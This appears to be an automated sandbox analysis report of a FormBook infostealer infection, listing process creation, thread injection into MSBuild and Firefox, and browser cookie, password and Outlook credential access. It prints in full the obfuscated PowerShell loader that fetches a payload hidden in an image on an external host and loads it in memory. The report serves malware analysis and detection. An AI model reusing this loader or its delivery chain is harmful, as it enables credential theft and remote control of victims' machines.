Source: C:\Windows\System32\wscript.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: NULL target: C:\Windows\SysWOW64\choice.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: NULL target: C:\Windows\System32\wscript.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: NULL target: C:\Windows\System32\wscript.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: NULL target: C:\Windows\System32\wscript.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread register set: target process: 7296	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Thread register set: target process: 7296	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Thread register set: target process: 1908	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: A91008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cscript.exe "C:\Windows\System32\cscript.exe" C:\Users\user\AppData\Local\Temp\ostaxa.js	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\choice.exe "C:\Windows\SysWOW64\choice.exe"	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $zooiatrologia = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABtAGEAZAByAGkAZwBhAGwAZQB0AGUAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAHkAdABmAGwAdAA2ADEAbgAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwAzADEAMwA0ADkANAA3AC8AYgBrAGwAcAB5AHMAZQB5AGUAdQB0ADQAaQBtAHAAdwA1ADAAbgAxAC4AagBwAGcAIAAnADsAJAByAGUAbABhAHQAYQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAZAByAG8AIAA9ACAAJAByAGUAbABhAHQAYQByAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAG0AYQBkAHIAaQBnAGEAbABlAHQAZQApADsAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAGQAcgBvACkAOwAkAHgAYQBxAHUAZQBjAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGIAcgBpAG0AIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAYwBvAG4AdABlAG4AaABvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAeABhAHEAdQBlAGMAYQApADsAJABjAG8AbABhAHAAcwBvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAYgByAGkAbQApADsAJABjAG8AbgB0AGUAbgBoAG8AIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABjAG8AbABhAHAAcwBvACAALQBnAHQAIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYwBvAG4AdABlAG4AaABvACAAKwA9ACAAJAB4AGEAcQB1AGUAYwBhAC4ATABlAG4AZwB0AGgAOwAkAHEAdQBpAG4AYQBsACAAPQAgACQAYwBvAGwAYQBwAHMAbwAgAC0AIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYQBsAG0AZQBpAGQAaQBuAGEAIAA9ACAAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwBvAG4AdABlAG4AaABvACwAIAAkAHEAdQBpAG4AYQBsACkAOwAkAGIAdQBiAGUAbABhACAAPQAgAC0AagBvAGkAbgAgACgAJABhAGwAbQBlAGkAZABpAG4AYQAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYQBsAG0AZQBpAGQAaQBuAGEALgBMAGUAbgBnAHQAaAApAF0AOwAkAGEAZABqAHUAdABvAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgB1AGIAZQBsAGEAKQA7ACQAcABhAGQAcgBhAHMAdABvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEw	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = New-Object System.Net.WebClient;$adro = $relatar.DownloadData($madrigalete);$oftalmoxise = [System.Text.Encoding]::UTF8.GetString($adro);$xaqueca = '<<BASE64_START>>';$brim = '<<BASE64_END>>';$contenho = $oftalmoxise.IndexOf($xaqueca);$colapso = $oftalmoxise.IndexOf($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.Length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.Substring($contenho, $quinal);$bubela = -join ($almeidina.ToCharArray() \| ForEach-Object { $_ })[-1..-($almeidina.Length)];$adjutor = [System.Convert]::FromBase64String($bubela);$padrasto = [System.Reflection.Assembly]::Load($adjutor);$manducar = [dnlib.IO.Home].GetMethod('VAI');$manducar.Invoke($null, @('0/VAfz5/r/ee.etsap//:sptth', 'symposiarcha', 'symposiarcha', 'symposiarcha', 'MSBuild', 'symposiarcha', 'symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','1','symposiarcha'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\cscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $zooiatrologia = 'aqbmacaakaakag4adqbsagwaiaatag4azqagacqauabtafyazqbyahmaaqbvag4avabhagiabablacaalqbhag4azaagacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiaatag4azqagacqabgb1agwabaapacaaewagafsadgbvagkazabdacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiab9acaazqbsahmazqagahsaiabxahiaaqb0agualqbpahuadabwahuadaagaccauabvahcazqbyafmaaablagwabaagahyazqbyahmaaqbvag4aiaboag8adaagageadgbhagkababhagiabablaccaiab9adsaaqbmacaakaakag4adqbsagwaiaatag4azqagacqauabtafyazqbyahmaaqbvag4avabhagiabablacaalqbhag4azaagacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiaatag4azqagacqabgb1agwabaapacaaewagafsadgbvagkazabdacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiab9acaazqbsahmazqagahsaiabxahiaaqb0agualqbpahuadabwahuadaagaccauabvahcazqbyafmaaablagwabaagahyazqbyahmaaqbvag4aiaboag8adaagageadgbhagkababhagiabablaccaiab9adsajabtageazabyagkazwbhagwazqb0aguaiaa9acaajwboahqadabwahmaogavac8acgblahmalgbjagwabwb1agqaaqbuageacgb5ac4aywbvag0alwbkahkadabmagwadaa2adeabgavagkabqbhagcazqavahuacabsag8ayqbkac8adgaxadcamwazadeamwa0adkanaa3ac8aygbragwacab5ahmazqb5aguadqb0adqaaqbtahaadwa1adaabgaxac4aagbwagcaiaanadsajabyaguababhahqayqbyacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqaowakageazabyag8aiaa9acaajabyaguababhahqayqbyac4arabvahcabgbsag8ayqbkaeqayqb0ageakaakag0ayqbkahiaaqbnageabablahqazqapadsajabvagyadabhagwabqbvahgaaqbzaguaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0afmadabyagkabgbnacgajabhagqacgbvackaowakahgayqbxahuazqbjageaiaa9acaajwa8adwaqgbbafmarqa2adqaxwbtafqaqqbsafqapga+accaowakagiacgbpag0aiaa9acaajwa8adwaqgbbafmarqa2adqaxwbfae4araa+ad4ajwa7acqaywbvag4adablag4aaabvacaapqagacqabwbmahqayqbsag0abwb4agkacwblac4asqbuagqazqb4ae8azgaoacqaeabhaheadqblagmayqapadsajabjag8ababhahaacwbvacaapqagacqabwbmahqayqbsag0abwb4agkacwblac4asqbuagqazqb4ae8azgaoacqaygbyagkabqapadsajabjag8abgb0aguabgboag8aiaatagcazqagadaaiaatageabgbkacaajabjag8ababhahaacwbvacaalqbnahqaiaakagmabwbuahqazqbuaggabwa7acqaywbvag4adablag4aaabvacaakwa9acaajab4ageacqb1aguaywbhac4atablag4azwb0aggaowakaheadqbpag4ayqbsacaapqagacqaywbvagwayqbwahmabwagac0aiaakagmabwbuahqazqbuaggabwa7acqayqbsag0azqbpagqaaqbuageaiaa9acaajabvagyadabhagwabqbvahgaaqbzagualgbtahuaygbzahqacgbpag4azwaoacqaywbvag4adablag4aaabvacwaiaakaheadqbpag4ayqbsackaowakagiadqbiaguababhacaapqagac0aagbvagkabgagacgajabhagwabqblagkazabpag4ayqauafqabwbdaggayqbyaeeacgbyageaeqaoackaiab8acaargbvahiarqbhagmaaaatae8aygbqaguaywb0acaaewagacqaxwagah0akqbbac0amqauac4alqaoacqayqbsag0azqbpagqaaqbuagealgbmaguabgbnahqaaaapaf0aowakageazabqahuadabvahiaiaa9acaawwbtahkacwb0aguabqauaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoacqaygb1agiazqbsageakqa7acqacabhagqacgbhahmadabvacaapqagafsauwb5ahmadablag0algbsaguazgbsaguaywb0agkabwbuac4aqqbzahmazqbtagiabab5af0aoga6aew
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = new-object system.net.webclient;$adro = $relatar.downloaddata($madrigalete);$oftalmoxise = [system.text.encoding]::utf8.getstring($adro);$xaqueca = '<<base64_start>>';$brim = '<<base64_end>>';$contenho = $oftalmoxise.indexof($xaqueca);$colapso = $oftalmoxise.indexof($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.substring($contenho, $quinal);$bubela = -join ($almeidina.tochararray() \| foreach-object { $_ })[-1..-($almeidina.length)];$adjutor = [system.convert]::frombase64string($bubela);$padrasto = [system.reflection.assembly]::load($adjutor);$manducar = [dnlib.io.home].getmethod('vai');$manducar.invoke($null, @('0/vafz5/r/ee.etsap//:sptth', 'symposiarcha', 'symposiarcha', 'symposiarcha', 'msbuild', 'symposiarcha', 'symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','1','symposiarcha'));if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };"
Source: C:\Windows\System32\cscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $zooiatrologia = 'aqbmacaakaakag4adqbsagwaiaatag4azqagacqauabtafyazqbyahmaaqbvag4avabhagiabablacaalqbhag4azaagacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiaatag4azqagacqabgb1agwabaapacaaewagafsadgbvagkazabdacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiab9acaazqbsahmazqagahsaiabxahiaaqb0agualqbpahuadabwahuadaagaccauabvahcazqbyafmaaablagwabaagahyazqbyahmaaqbvag4aiaboag8adaagageadgbhagkababhagiabablaccaiab9adsaaqbmacaakaakag4adqbsagwaiaatag4azqagacqauabtafyazqbyahmaaqbvag4avabhagiabablacaalqbhag4azaagacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiaatag4azqagacqabgb1agwabaapacaaewagafsadgbvagkazabdacqauabtafyazqbyahmaaqbvag4avabhagiabablac4auabtafyazqbyahmaaqbvag4aiab9acaazqbsahmazqagahsaiabxahiaaqb0agualqbpahuadabwahuadaagaccauabvahcazqbyafmaaablagwabaagahyazqbyahmaaqbvag4aiaboag8adaagageadgbhagkababhagiabablaccaiab9adsajabtageazabyagkazwbhagwazqb0aguaiaa9acaajwboahqadabwahmaogavac8acgblahmalgbjagwabwb1agqaaqbuageacgb5ac4aywbvag0alwbkahkadabmagwadaa2adeabgavagkabqbhagcazqavahuacabsag8ayqbkac8adgaxadcamwazadeamwa0adkanaa3ac8aygbragwacab5ahmazqb5aguadqb0adqaaqbtahaadwa1adaabgaxac4aagbwagcaiaanadsajabyaguababhahqayqbyacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqaowakageazabyag8aiaa9acaajabyaguababhahqayqbyac4arabvahcabgbsag8ayqbkaeqayqb0ageakaakag0ayqbkahiaaqbnageabablahqazqapadsajabvagyadabhagwabqbvahgaaqbzaguaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0afmadabyagkabgbnacgajabhagqacgbvackaowakahgayqbxahuazqbjageaiaa9acaajwa8adwaqgbbafmarqa2adqaxwbtafqaqqbsafqapga+accaowakagiacgbpag0aiaa9acaajwa8adwaqgbbafmarqa2adqaxwbfae4araa+ad4ajwa7acqaywbvag4adablag4aaabvacaapqagacqabwbmahqayqbsag0abwb4agkacwblac4asqbuagqazqb4ae8azgaoacqaeabhaheadqblagmayqapadsajabjag8ababhahaacwbvacaapqagacqabwbmahqayqbsag0abwb4agkacwblac4asqbuagqazqb4ae8azgaoacqaygbyagkabqapadsajabjag8abgb0aguabgboag8aiaatagcazqagadaaiaatageabgbkacaajabjag8ababhahaacwbvacaalqbnahqaiaakagmabwbuahqazqbuaggabwa7acqaywbvag4adablag4aaabvacaakwa9acaajab4ageacqb1aguaywbhac4atablag4azwb0aggaowakaheadqbpag4ayqbsacaapqagacqaywbvagwayqbwahmabwagac0aiaakagmabwbuahqazqbuaggabwa7acqayqbsag0azqbpagqaaqbuageaiaa9acaajabvagyadabhagwabqbvahgaaqbzagualgbtahuaygbzahqacgbpag4azwaoacqaywbvag4adablag4aaabvacwaiaakaheadqbpag4ayqbsackaowakagiadqbiaguababhacaapqagac0aagbvagkabgagacgajabhagwabqblagkazabpag4ayqauafqabwbdaggayqbyaeeacgbyageaeqaoackaiab8acaargbvahiarqbhagmaaaatae8aygbqaguaywb0acaaewagacqaxwagah0akqbbac0amqauac4alqaoacqayqbsag0azqbpagqaaqbuagealgbmaguabgbnahqaaaapaf0aowakageazabqahuadabvahiaiaa9acaawwbtahkacwb0aguabqauaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoacqaygb1agiazqbsageakqa7acqacabhagqacgbhahmadabvacaapqagafsauwb5ahmadablag0algbsaguazgbsaguaywb0agkabwbuac4aqqbzahmazqbtagiabab5af0aoga6aew	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = new-object system.net.webclient;$adro = $relatar.downloaddata($madrigalete);$oftalmoxise = [system.text.encoding]::utf8.getstring($adro);$xaqueca = '<<base64_start>>';$brim = '<<base64_end>>';$contenho = $oftalmoxise.indexof($xaqueca);$colapso = $oftalmoxise.indexof($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.substring($contenho, $quinal);$bubela = -join ($almeidina.tochararray() \| foreach-object { $_ })[-1..-($almeidina.length)];$adjutor = [system.convert]::frombase64string($bubela);$padrasto = [system.reflection.assembly]::load($adjutor);$manducar = [dnlib.io.home].getmethod('vai');$manducar.invoke($null, @('0/vafz5/r/ee.etsap//:sptth', 'symposiarcha', 'symposiarcha', 'symposiarcha', 'msbuild', 'symposiarcha', 'symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','1','symposiarcha'));if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };if ($null -ne $psversiontable -and $psversiontable.psversion -ne $null) { [void]$psversiontable.psversion } else { write-output 'powershell version not available' };"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2951402841.0000000004770000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2951435333.00000000047C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2570201674.0000000006950000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\choice.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2951402841.0000000004770000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2951435333.00000000047C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2570201674.0000000006950000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	12 Scripting	Valid Accounts	1 Exploitation for Client Execution	12 Scripting	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	113 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
